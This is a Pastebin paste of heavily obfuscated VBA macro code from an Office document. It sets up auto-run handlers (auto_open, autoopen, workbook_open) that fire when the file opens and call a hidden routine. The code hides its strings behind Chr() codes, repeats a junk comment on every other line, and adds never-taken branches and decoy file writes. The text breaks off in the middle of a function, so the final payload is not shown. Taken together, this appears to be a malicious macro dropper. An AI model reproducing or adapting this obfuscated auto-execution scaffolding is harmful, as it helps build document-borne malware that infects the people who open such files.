Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Sub auto_open()
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo vsfalbmw
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim eixxymsf As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 711568 = 711568 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1795 < 73 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #16, , eixxymsf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 443571 = 443571 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2283 < 49 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #16
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 542342 = 542342 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 5329 < 28 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- vsfalbmw:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 778394 = 778394 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4542 < 63 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- evgvriwbtjr
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End Sub
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Sub autoopen()
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo kwduwurv
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim cjweozwj As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 189973 = 189973 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1796 < 59 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #43, , cjweozwj
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 231548 = 231548 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 2857 < 46 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #43
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 238386 = 238386 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 6983 < 25 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- kwduwurv:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 826517 = 826517 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8797 < 15 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- auto_open
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End Sub
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Sub workbook_open()
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo jaduxocm
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim xxmeoehs As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 861474 = 861474 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 4727 < 88 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #67, , xxmeoehs
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 892816 = 892816 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 5877 < 75 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #67
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 692157 = 692157 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 6827 < 24 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- jaduxocm:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 587851 = 587851 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 9314 < 21 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(103) & Chr(112) & Chr(118) & Chr(122) & Chr(110) & Chr(99) & Chr(103) & Chr(114) & Chr(57) & Chr(51))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(103) & Chr(104) & Chr(99) & Chr(108) & Chr(108) & Chr(99) & Chr(98) & Chr(101) & Chr(51) & Chr(53) & Chr(55) & Chr(55)) = Len(Chr(99) & Chr(114) & Chr(114) & Chr(102) & Chr(106) & Chr(103) & Chr(112) & Chr(122)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- auto_open
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End Sub
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Function trzfcrwihtc(ByVal ejckdfuqggu As String, ByVal kxqaxtgwbnh As String) As Boolean
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim ocpvmgeelcx As Object, ayemzbpjsak As Long, zgbpbucckrp As Long, wvavhsolbur() As Byte
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo hsgzhsmu
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim oetdulop As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(85) & Chr(83) & Chr(85) & Chr(82) & Chr(80) & Chr(77) & Chr(46) & Chr(85) & Chr(80) & Chr(85) For Binary As 29
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 114274 = 114274 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1948 < 75 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(118) & Chr(122) & Chr(112) & Chr(97) & Chr(104) & Chr(105) & Chr(113) & Chr(115) & Chr(50) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(119) & Chr(99) & Chr(106) & Chr(106) & Chr(117) & Chr(112) & Chr(115) & Chr(100) & Chr(50) & Chr(55) & Chr(57) & Chr(56)) = Len(Chr(118) & Chr(97) & Chr(109) & Chr(114) & Chr(103) & Chr(105) & Chr(115) & Chr(108)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #29, , oetdulop
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 145749 = 145749 + 1 Then End
